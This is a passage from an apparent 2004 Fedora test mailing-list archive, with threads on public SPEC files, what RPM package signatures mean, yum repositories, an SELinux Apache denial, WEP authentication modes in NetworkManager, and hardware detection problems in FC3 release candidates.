be sure that everyone agrees with changes if there's no way of knowing what changes have happened. I can confidently say we agree on 99% of what everyone is doing because everyone can see what someone else commits and can act/discuss immediately if he does not agree. The turn-over time is really making optimal use of all available resources. (In most cases everyone agrees with an author's changes though and often you see others adapt their SPEC files with the same enhancements) I would love to be able to do the same with Red Hat, fedora.us and other packages if only I could see what has been changed. I think opening up this would be the single most important action a project can do. It will lead to more transparency, more discussion and eventually to more people working towards the same goal and towards a set of coherent SPEC files. Kind regards, -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From dag at wieers.com Fri Nov 5 16:49:50 2004 From: dag at wieers.com (Dag Wieers) Date: Fri, 5 Nov 2004 17:49:50 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041105134000.1921a24d.robn@verdi.et.tudelft.nl> References: <20041105134000.1921a24d.robn@verdi.et.tudelft.nl> Message-ID: On Fri, 5 Nov 2004, Rob van Nieuwkerk wrote: > On Fri, 5 Nov 2004 03:52:13 +0100 (CET) > Dag Wieers wrote: > > > Since I don't know who to address this to, let's address this to all :) > > > > I guess it's time again to ask/beg for making those SPEC files public. All > > of them if possible: Fedora, Raw Hide, RHEL, fedora.us, livna.org. > > > > If you want people making compatible packages, find problems or doing > > general QA, having those SPEC files available instead of SRPMs is crucial. > > I don't want to go download another 5MB to have a 5kB file and see 5 bytes > > changed. > > Recently I noticed this nice site: > > http://www.mirrorservice.org/ > > They let you "peek" inside the content of RPMs (for example, info, > source-files dependencies, spec-files, patches). See for example: > > http://www.mirrorservice.org/sites/download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/ > (the right-hand icons get you to the details) > http://www.mirrorservice.org/sites/download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/kernel-2.6.9-1.667.src.rpm[peek] Thank you Rob, I knew mirrorservice.org, but I didn't know they offered more functionality than just the mirroring service :) Even though it's more complex, I think we can use this to automate some stuff I required. I'll see if I can set up a service that offers diff's between commits from mirrorservice.org. Bedankt ! -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From jdennis at redhat.com Fri Nov 5 16:51:28 2004 From: jdennis at redhat.com (John Dennis) Date: Fri, 05 Nov 2004 11:51:28 -0500 Subject: Public SPEC files please In-Reply-To: References: Message-ID: <1099673487.32558.66.camel@finch.boston.redhat.com> On Thu, 2004-11-04 at 21:52, Dag Wieers wrote: Hopefully I'm not letting the cat out of the bag but public CVS access of packages is very close (at least that's my understanding). That will give you what you want, easy access to individual files including the spec file and its history. Hang tight. -- John Dennis From feliciano.matias at free.fr Fri Nov 5 16:51:47 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Fri, 05 Nov 2004 17:51:47 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099671035.4213.15.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099608341.31426.2.camel@one.myworld> <1099671035.4213.15.camel@localhost.localdomain> Message-ID: <1099673507.5160.33.camel@one.myworld> Le vendredi 05 novembre 2004 ? 11:10 -0500, Peter Jones a ?crit : > On Thu, 2004-11-04 at 23:45 +0100, F?liciano Matias wrote: > > Le jeudi 04 novembre 2004 ? 15:37 -0500, Peter Jones a ?crit : > > > Also note that those which are signed are currently signed by hand, and > > > one thing people have been advocating is automatic signing. Automatic > > > signing, I'll obviously argue, is a total loss. > > > > What is a ssl server if it's not an automatic signing machine ? > > Total loss... > > That's completely ignoring the contexts of package distribution and the > policies put in place by current package update tools. None of them > trust packages *just* because they are fetched over SSL, Again, you (and many others) are mixing things. a) I do not trust rawhide package (for mission critical system). I trust RHEL packages (for mission critical system). b) I can't trust the origin of unsigned rawhide package. I can't trust the origin of unsigned RHEL package. c) I trust the origin of signed rawhide package. I trust the origin of signed RHEL package. a) is not related to signed or unsigned packages. Should I trust/install RHEL packages _only_ because they are signed ? NO ! Signed RHEL packages guaranties the package origin. Nothing more. Support and reputation of Red Hat give me the "feeling" that I should trust RHEL package (My knowledge tell me this is true only for a RHEL installation and with a good administrator :-)). Should I trust this package only because it is signed ? : $rpm -K -v hdparm-5.7-2.2.i586.rpm hdparm-5.7-2.2.i586.rpm: Hachage de l'ent?te SHA1: OK (91f6e5752df69fb07a8f28badd3c90e91eaa0c37) Somme MD5: OK (eb24fab7ac89e67fb2e882fd11e7ee07) signature V3 DSA: NOKEY, key ID 9c800aca Is this package suitable for mission critical ? : $ rpm -K -v hdparm-5.7-2.i386.rpm hdparm-5.7-2.i386.rpm: Ent?te signature V3 DSA: OK, key ID 4f2a6fd2 Hachage de l'ent?te SHA1: OK (0115990d6b8e85627bdf24a1f7f8f74627ea5a2b) Somme MD5: OK (9621b9025c6538da72605fade8d028ed) signature V3 DSA: OK, key ID 4f2a6fd2 You can *not* answer these two questions only with the signature. Period. Signed package, mean ONE thing and only ONE thing. We should not base own through on wrong definition. It's time to Red Hat to define what Rawhide is/mean. Signed (or not) package is out of the scope of this definition. > nor do they > reject packages which aren't. > -- > Peter > From lux at diesel-research.com Fri Nov 5 16:59:20 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 09:59:20 -0700 Subject: Repositories, PLEASE ???? Message-ID: <1099673960.4412.7.camel@localhost.localdomain> I am still in need of the latest repository addresses, ie the ones that people are using to update their rc5 systems. I've got the rawhide repository on my machine and I have not seen any updates since the beginning of week. An ls of /etc/yum.repos.d and then the contents of a few of those files would do nicely. Thanks in advance. -- Kim Lux (Mr.) Diesel Research Inc From nphilipp at redhat.com Fri Nov 5 17:00:18 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Fri, 05 Nov 2004 18:00:18 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099606323.4065.66.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> <1099606323.4065.66.camel@localhost.localdomain> Message-ID: <1099674019.5141.23.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-11-04 at 17:12 -0500, Peter Jones wrote: > On Thu, 2004-11-04 at 11:33 +0100, Nils Philippsen wrote: > > On Mon, 2004-11-01 at 18:50 -0500, Peter Jones wrote: > > > On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > > > > Ok - you & Seth seem to have a solution to the problem. > > > > > > > > Still no good explanation why ALL keys should be treated the same. > > > > > > Because there's nothing about a key that tells you how to treat it. > > > > Exactly. There's where "common sense" comes into play, i.e. I shouldn't > > enable Rawhide repositories if a broken system makes me cry. > > We're not just talking about rawhide. We're talking about Axil's repo, > and Matthais's repo, and the cdparanoia repo on my people.redhat.com > site, and the repo on Seth's website. > > There is no common sense answer to "I have 40 keys signing things and > none of them specify what the signature means". > > Quit thinking that we're talking about one key. We're talking about > many. Yes. Currently the tools (RPM, the RPM format, yum, up2date) don't allow you or me or anyone to codify what a specific key means, i.e. I can only codify "I want only packages from a trusted origin" or nothing at all. Well, I could if all Rawhide packages were signed ;-). Anyway, that's what we have to tell users if they have different ideas about a key -- if it's in your RPM keyring it means RPM and up2date and yum will install a package signed with that key without complaining to you that it's not signed (at all or with an unknown key, doesn't matter). > > Let's face it, currently a signed package only means "someone/-thing has > > signed off on it" on a technical level, anything else is just what we > > humans put into it and nothing tools can guess by themselves. I.e. we > > can only differentiate between "keys we trust" on a certain system by > > either putting them into yum.conf/sources or not. Everything beyond that > > would need infrastructure that currently doesn't exist. > > Yes, anything beyond that needs infrastructure that doesn't currently > exist. Currently yum and up2date take signatures to mean something > beyond that, and they take all signatures in rpm's to equally in this > regard. That means we need infrastructure beyond looking at the key and > guessing wildly what a signature by it means. Currently, we can only "emulate" what you want with the available tools, i.e. importing the Rawhide key implicitly lowers the entry level quality of the packages that the tools will install without complaining -- and without the tools knowing that they do it ;-). Seth's extending yum to enable certain keys only for certain repositories helps a bit, but to fully achieve what you describe we really have to extend RPM packages in a way, where a signature can convey meaning beyond "this package passed that signer". > yum and up2date interpret a specific meaning for a package signature: if > the key is known to rpm, a valid signature means the package was > transmitted as intended from the signer. > > It's not even very difficult infrastructure to make (at least in the > most naive form), but so far you've objected to nothing except my > premise that people don't know what a signature means, which you now > seem to agree with. What gives? Hey, all I said is that we shouldn't take their ill idea on what a signature means as some kind of standard to adhere to. I think it is wrong if we don't sign packages on that basis, it hurts us (and the tester) more if a tester can't verify that he's actually testing the right package (which shouldn't be intentionally malicious) than if someone who doesn't bother to read READMEs, who will probably import any key found on the net into his own RPM keyring ;-), install a Rawhide package on an FC2 system. I fully agree and even proposed extending RPM so that signatures can sign off on multiple things like "origin/build system passed", "QA passed", ... but until this is done we have to live with the limitations of what exists now. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From fedora at wir-sind-cool.org Fri Nov 5 17:20:42 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 5 Nov 2004 18:20:42 +0100 Subject: Public SPEC files please In-Reply-To: References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> Message-ID: <20041105182042.437f8db9.fedora@wir-sind-cool.org> On Fri, 5 Nov 2004 17:46:31 +0100 (CET), Dag Wieers wrote: > > I think it's not in fedora.us' responsibility to make available spec files > > of unpublished packages (which can be arbitrary packages in the package > > queue). > > I beg to differ. If a work in progress is not part of fedora.us, then I > wonder what fedora.us really is ? Only the end result ? So far, yes. A package becomes a fedora.us package when it's published and made available in the repository. > How can 4 people > work together if only 1 person can make commits ? With "poor man's CVS" because of lack of CVS. When four people work together, everyone of them can take the most recent src.rpm and either submit patches or submit a modified src.rpm. And the others review the changes and approve the package (unless they are trusted). I wish many packages had four developers, who maintain a package painstakingly. > How can fedora.us still > claim working with other repositories results in much more overhead if > they still work like this ? Because coordinating updates (including security fixes), upgrades or even rebuilds would add overhead. > How can you be sure that everyone agrees with changes if there's no way of > knowing what changes have happened. ? Who is "everyone"? Packages must be reviewed and approved (unless the package developer is trusted), before binaries are built. Binaries stay in the "pending" repository until they are verified. This also allows additional community testing prior to release. But I rather look forward and hope that with official Fedora Extras we will not get just CVS, but also features like commit-diffs mailed to a mailing-list. I see no sense in discussing any deficiences of the current infrastructure. If you just brought this topic up to bragg a little bit about whether you're maintaining packages in a public cvs/svn server, it's no secret that it increases productivity. Packages at rpm.livna.org are within a subversion repository, too. -- Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 loadavg: 0.18 0.22 0.32 From trulsg at broadpark.no Fri Nov 5 17:20:49 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Fri, 05 Nov 2004 18:20:49 +0100 Subject: Repositories, PLEASE ???? In-Reply-To: <1099673960.4412.7.camel@localhost.localdomain> References: <1099673960.4412.7.camel@localhost.localdomain> Message-ID: <418BB671.4020201@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Kim Lux wrote: | I am still in need of the latest repository addresses, ie the ones that | people are using to update their rc5 systems. I've got the rawhide | repository on my machine and I have not seen any updates since the | beginning of week. | | An ls of /etc/yum.repos.d | | and then the contents of a few of those files would do nicely. | | Thanks in advance. | | | Please check out the messages under the "yum upgrade?" subject. Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBi7ZxickK29LSyG8RAjrvAKCwy8JkpX0jDa0RPC7VyIAaB9LWnACfY9EO HMzl/PeCCySzb7LyQzum7+4= =8fAu -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From si at bananas.hopto.org Fri Nov 5 17:40:54 2004 From: si at bananas.hopto.org (Si Jones) Date: Fri, 05 Nov 2004 17:40:54 +0000 Subject: DVD Ram Mounting Issue Message-ID: <1099676455.3768.2.camel@apple.bananas.hopto.org> Hi All, Just a slight issue, when my DVD-RAM disk is mounted (formatted as ext2) it is ro, so i have to umount it, change fstab and then let it automount in gnome. Is there anyway of checking if it is a ram disk remount it as rw? Regards, Simon From walters at redhat.com Fri Nov 5 17:46:31 2004 From: walters at redhat.com (Colin Walters) Date: Fri, 05 Nov 2004 12:46:31 -0500 Subject: apache problem? In-Reply-To: <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <1099676791.3922.5.camel@nexus.verbum.private> On Fri, 2004-11-05 at 07:37 -0500, Stephen Smalley wrote: > On Fri, 2004-11-05 at 06:09, Thomas Liesner wrote: > > I think this has to do with selinux. The corresponding entries > > in /var/log/messages are: > > > > > Nov 5 12:04:55 fusie kernel: audit(1099652695.277:0): avc: denied { getattr } for pid=4587 exe=/usr/sbin/httpd path=/home/thomas/public_html dev=hda3 ino=1456101 scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t tclass=dir > > /sbin/restorecon -R /home/thomas/public_html Hm. I'd prefer to introduce users here to "chcon", since in the strict policy normal users don't have access to file_contexts. Also restorecon only works if the directory is named public_html. Franz/Thomas: there is a guide for SELinux and Apache coming up, there should be a "beta" version of it by the FC3 release. From alan at redhat.com Fri Nov 5 17:47:03 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 5 Nov 2004 12:47:03 -0500 Subject: Public SPEC files please In-Reply-To: <20041105182042.437f8db9.fedora@wir-sind-cool.org> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> Message-ID: <20041105174703.GB19875@devserv.devel.redhat.com> On Fri, Nov 05, 2004 at 06:20:42PM +0100, Michael Schwendt wrote: > > How can 4 people > > work together if only 1 person can make commits ? > > With "poor man's CVS" because of lack of CVS. When four people work > together, everyone of them can take the most recent src.rpm and either > submit patches or submit a modified src.rpm. And the others review the > changes and approve the package (unless they are trusted). Linux kernel works this way near enough. Alan From perbj at stanford.edu Fri Nov 5 17:51:55 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Fri, 05 Nov 2004 09:51:55 -0800 Subject: NetworkManager Issues In-Reply-To: <1099672226.6665.17.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099670560.6622.36.camel@serenity.klika.si> <20041105160822.GR1373@angus.ind.WPI.EDU> <1099672226.6665.17.camel@dcbw.boston.redhat.com> Message-ID: <1099677115.2699.29.camel@localhost.localdomain> On Fri, 2004-11-05 at 08:30, Dan Williams wrote: > > Shared Key auth is worse than no authentication/encryption at all. > > Anyone with a clue will be using Open System. I don't think we should > > put too much effort into making Shared Key easy to use. > > Charles, > > Why is it so much worse? Basically, apparently you can crack the encryption just by listening in on the handshake (as far as I have understood you get the plaintext challenge going across in one direction and then a the same thing encrypted send in the other direction - an absolute boon for code cracking, since WEP apparently is sensitive to known-plaintext attacks) instead of having to process many GB of data (well, you might not need that much for the 40/64-bit version, but 128-bit WEP does take a fair bit of data collecting to crack as far as I hav understood). > Also, did you read my explanation of how its much much harder with Open > System to figure out if the WEP key is wrong? That's the big sticking > point here. If we can't automatically detect whether the WEP key is > wrong or not (and waiting 30s for a failed DHCP certainly isn't > "automatic"), then we might as well not even try to improve on the > current system-config-network. I totally disagree with you here, I think that getting quick feedback on whether the WEP key you typed in (once!) is an utterly minor feature compared to automatic network switching to work once you have plugged in the right WEP key. Seriously, don't take everything Apple does in networking as gospel, there are some things in wireless that Macs get _all wrong_! When connecting through the access point in my lab, sometimes the DHCP server is kind of slow (it might take at least several seconds to respond when traffic is heavy). Occasionally, for no obvious reason, the Macs that some people have just refuse to pick up IP addresses. They are able to get onto the network when you force a static IP. I haven't gotten very far in my troubleshooting since this is so erratic, but my current suspicion is that in addition to Apple also uses the rather ugly trick of timing out DHCP requests after pretty much no time at all to get quick response times. Please, please, please don't go there, I'd rather wait a few seconds to get an IP address than be completely dead in the water! (I realize that doing something this stupid probably hasn't even crossed your mind, please just see it as an example of how the Apple guys sometimes are a bit too fundamentalist in their quest for user friendliness.) /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From lux at diesel-research.com Fri Nov 5 17:58:51 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 10:58:51 -0700 Subject: Repositories, PLEASE ???? In-Reply-To: <418BB671.4020201@broadpark.no> References: <1099673960.4412.7.camel@localhost.localdomain> <418BB671.4020201@broadpark.no> Message-ID: <1099677531.4736.0.camel@localhost.localdomain> Thanks. I was watching that thread, but didn't realize someone had posted a repository in it. I used the one that I found and just updated everything. I'll reboot in a bit. On Fri, 2004-11-05 at 18:20 +0100, Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Kim Lux wrote: > | I am still in need of the latest repository addresses, ie the ones that > | people are using to update their rc5 systems. I've got the rawhide > | repository on my machine and I have not seen any updates since the > | beginning of week. > | > | An ls of /etc/yum.repos.d > | > | and then the contents of a few of those files would do nicely. > | > | Thanks in advance. > | > | > | > Please check out the messages under the "yum upgrade?" subject. > > Truls > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFBi7ZxickK29LSyG8RAjrvAKCwy8JkpX0jDa0RPC7VyIAaB9LWnACfY9EO > HMzl/PeCCySzb7LyQzum7+4= > =8fAu > -----END PGP SIGNATURE----- > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From silverhead at comcast.net Fri Nov 5 18:10:14 2004 From: silverhead at comcast.net (James W. Bennett) Date: Fri, 05 Nov 2004 12:10:14 -0600 Subject: /media directory Message-ID: <418BC206.3040902@comcast.net> Does anyone know for FC3, can you set your own devices names in the /media/ directory. If this has been discussed before, I am sorry I missed it. I have three cdroms, two being scsi dvd devices. I don't like them being named "cdrecorder, cdrecorder1 and cdrecorder2 I would much prefer cdrom, cdrom1 and cdrom2. Any help is appreciated. From bavinic at comcast.net Fri Nov 5 18:12:28 2004 From: bavinic at comcast.net (Jim Martin) Date: Fri, 05 Nov 2004 13:12:28 -0500 Subject: /media directory In-Reply-To: <418BC206.3040902@comcast.net> References: <418BC206.3040902@comcast.net> Message-ID: <418BC28C.60509@comcast.net> James W. Bennett wrote: > Does anyone know for FC3, can you set your own devices names in the > /media/ directory. If this has been discussed before, I am sorry I > missed it. > I have three cdroms, two being scsi dvd devices. I don't like them > being named "cdrecorder, cdrecorder1 and cdrecorder2 I would much > prefer cdrom, cdrom1 and cdrom2. > Any help is appreciated. > Would love to know that myself.!! BaVinic From pp at ee.oulu.fi Fri Nov 5 19:01:23 2004 From: pp at ee.oulu.fi (Pekka Pietikainen) Date: Fri, 5 Nov 2004 21:01:23 +0200 Subject: NetworkManager Issues In-Reply-To: <1099677115.2699.29.camel@localhost.localdomain> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099414363.24262.14.camel@dcbw.boston.redhat.com> <1099437876.16576.16.camel@serenity.klika.si> <1099611731.4065.89.camel@localhost.localdomain> <1099665904.6665.1.camel@dcbw.boston.redhat.com> <1099670560.6622.36.camel@serenity.klika.si> <20041105160822.GR1373@angus.ind.WPI.EDU> <1099672226.6665.17.camel@dcbw.boston.redhat.com> <1099677115.2699.29.camel@localhost.localdomain> Message-ID: <20041105190123.GA13389@ee.oulu.fi> On Fri, Nov 05, 2004 at 09:51:55AM -0800, Per Bjornsson wrote: > On Fri, 2004-11-05 at 08:30, Dan Williams wrote: > > > Shared Key auth is worse than no authentication/encryption at all. > > > Anyone with a clue will be using Open System. I don't think we should > > > put too much effort into making Shared Key easy to use. > > > > Charles, > > > > Why is it so much worse? > > Basically, apparently you can crack the encryption just by listening in > on the handshake (as far as I have understood you get the plaintext > challenge going across in one direction and then a the same thing > encrypted send in the other direction - an absolute boon for code > cracking, since WEP apparently is sensitive to known-plaintext attacks) > instead of having to process many GB of data (well, you might not need > that much for the 40/64-bit version, but 128-bit WEP does take a fair > bit of data collecting to crack as far as I hav understood). Blatant plug: http://www.wifipedia.org/index.cgi/WEP ;) While we're at it xsupplicant/wpa_supplicant would be nice to have in future releases. Unfortunately it's a bit of a "works with this card and almost-but-not-quite with this one" thing. It is something that would require initscripts/NetworkManager integration, so Extras might not be feasible unfortunately. -- Pekka Pietikainen From kyrre at solution-forge.net Fri Nov 5 19:05:56 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 05 Nov 2004 20:05:56 +0100 Subject: FC3 box brings lan to its knees In-Reply-To: <20041105145223.GA24242@angus.ind.WPI.EDU> References: <1099664968.418b8e48e5817@www.riddlermarc.net> <20041105145223.GA24242@angus.ind.WPI.EDU> Message-ID: <1099679688.2686.2.camel@kyrre> fre, 05.11.2004 kl. 15.52 skrev Charles R. Anderson: > On Fri, Nov 05, 2004 at 02:29:28PM +0000, Marc McAllister wrote: > > I don't have a spare hub I'm afraid, I'm pretty much stuck with the > > configuration that I have. I presume if I run ethereal from my FC2 box it will > > not pick up anything "interesting" that is being broadcast from the FC3 box? > > The FC2 box should pick up broadcasts, but not unicasts after the > first one when the switch first learns where each MAC address is. > > You could also try running ethereal on the FC3 box itself--it should > then capture all traffic. > Or you could do som MAC-spoofing... Not simple, but possible... Or does SELinux prevent this? > > What things should I check on the FC3 box, are there any log files that will > > show what happens during boot etc? > > Try ethtool and/or mii-diag to see what speed/duplex the NIC is > running at. Compare that with the lights on the switch to see if the > speed and duplex are matched at both ends of the link. If they > mismatch, then many errors could be generated. From jspaleta at gmail.com Fri Nov 5 19:42:07 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 5 Nov 2004 14:42:07 -0500 Subject: /media directory In-Reply-To: <418BC206.3040902@comcast.net> References: <418BC206.3040902@comcast.net> Message-ID: <604aa79104110511421132820c@mail.gmail.com> On Fri, 05 Nov 2004 12:10:14 -0600, James W. Bennett wrote: > Does anyone know for FC3, can you set your own devices names in the > /media/ directory. If this has been discussed before, I am sorry I > missed it. > I have three cdroms, two being scsi dvd devices. I don't like them being > named "cdrecorder, cdrecorder1 and cdrecorder2 I would much prefer > cdrom, cdrom1 and cdrom2. > Any help is appreciated. There is a way to create local hal policy to redefine mountpoints as well as other aspects of hal. But its going to have a steep-ish learning curve and I don't know of a good howto for hal yet that would have simple instructive examples. see if you can read through the default matching/naming policy provided and try to contruct local policy from that. Look at the files in /usr/share/hal/fdi/ the file to place local policy should be obvious. -jef"hopes tools aimed at hal policy creation show up in rawhide very soon after fc3 release for feedback and testing"spaleta From maze at cela.pl Fri Nov 5 20:24:26 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Fri, 5 Nov 2004 21:24:26 +0100 (CET) Subject: FC3rc5 : how to regen 2.6.9-1.649 kernel tree from kernel-2.6.9-1.649.src.rpm In-Reply-To: References: Message-ID: Hi! You sure you wrote down what you meant? User programs should compile against /lib/modules/...??? Cheers, MaZe > Although this is implied in your remark, I think it might be helpful to > state it explicitly: > > Because kernel headers define interfaces, etc that are *private* to the > kernel and kernel modules. To get the interfaces that are safe and > published and *public* for user space programs the headers in > /lib/modules/`uname -r`/build/include > are the ones to be used for user space programs. > > Even open source programs need some privacy :-) > > Andrew From thomas.cameron at camerontech.com Fri Nov 5 20:25:10 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Fri, 05 Nov 2004 14:25:10 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? Message-ID: <1099686310.3589.15.camel@thomas.camerontech.com> Howdy - Using FC3 RC5 updated as of today. I had to disconnect my external USB 2.0 HP DVD Writer in order to get FC3 installed, otherwise I got a fatal oops at installation time. Now that FC3 is installed, I am trying to use said DVD+RW drive. When I plug it in I see this: Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using address 2 Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass Storage devices Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer 200j Rev: 1.13 Nov 5 14:10:29 thomas kernel: Type: CD-ROM ANSI SCSI revision: 02 Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer cd/rw xa/form2 cdda tray However, usbview, grip and XCDroast do not see the drive. It works flawlessly in FC2. I do see it in /proc/bus/usb/devices though: T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=03f0 ProdID=0507 Rev= 3.10 S: Manufacturer=Hewlett-Packard S: Product=USB Storage Adapter S: SerialNumber=0000000000035117 C:* #Ifs= 1 Cfg#= 2 Atr=c0 MxPwr= 98mA I: If#= 0 Alt= 0 #EPs= 3 Cls=08(stor.) Sub=06 Prot=50 Driver=usb- storage E: Ad=01(O) Atr=02(Bulk) MxPS= 512 Ivl=125us E: Ad=82(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms E: Ad=83(I) Atr=03(Int.) MxPS= 2 Ivl=32ms Am I missing something? What do I need to do to use this drive? -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From lux at diesel-research.com Fri Nov 5 20:34:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 13:34:04 -0700 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099686310.3589.15.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> Message-ID: <1099686844.22473.0.camel@localhost.localdomain> Do an lsusb. It should have been recognized as a usb2 device. On Fri, 2004-11-05 at 14:25 -0600, Thomas Cameron wrote: > Howdy - > > Using FC3 RC5 updated as of today. I had to disconnect my external USB > 2.0 HP DVD Writer in order to get FC3 installed, otherwise I got a fatal > oops at installation time. > > Now that FC3 is installed, I am trying to use said DVD+RW drive. When I > plug it in I see this: > > Nov 5 14:10:29 thomas kernel: usb 1-1: new high speed USB device using > address 2 > Nov 5 14:10:29 thomas kernel: scsi3 : SCSI emulation for USB Mass > Storage devices > Nov 5 14:10:29 thomas kernel: Vendor: HP Model: DVD Writer > 200j Rev: 1.13 > Nov 5 14:10:29 thomas kernel: Type: CD-ROM > ANSI SCSI revision: 02 > Nov 5 14:10:29 thomas scsi.agent[6618]: cdrom > at /devices/pci0000:00/0000:00:1e.0/0000:04:03.2/usb1/1-1/1-1:2.0/host3/3:0:0:0 > Nov 5 14:10:29 thomas kernel: sr0: scsi3-mmc drive: 32x/32x writer > cd/rw xa/form2 cdda tray > > However, usbview, grip and XCDroast do not see the drive. It works > flawlessly in FC2. > > I do see it in /proc/bus/usb/devices though: > > T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=480 MxCh= 0 > D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 > P: Vendor=03f0 ProdID=0507 Rev= 3.10 > S: Manufacturer=Hewlett-Packard > S: Product=USB Storage Adapter > S: SerialNumber=0000000000035117 > C:* #Ifs= 1 Cfg#= 2 Atr=c0 MxPwr= 98mA > I: If#= 0 Alt= 0 #EPs= 3 Cls=08(stor.) Sub=06 Prot=50 Driver=usb- > storage > E: Ad=01(O) Atr=02(Bulk) MxPS= 512 Ivl=125us > E: Ad=82(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms > E: Ad=83(I) Atr=03(Int.) MxPS= 2 Ivl=32ms > > Am I missing something? What do I need to do to use this drive? > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, 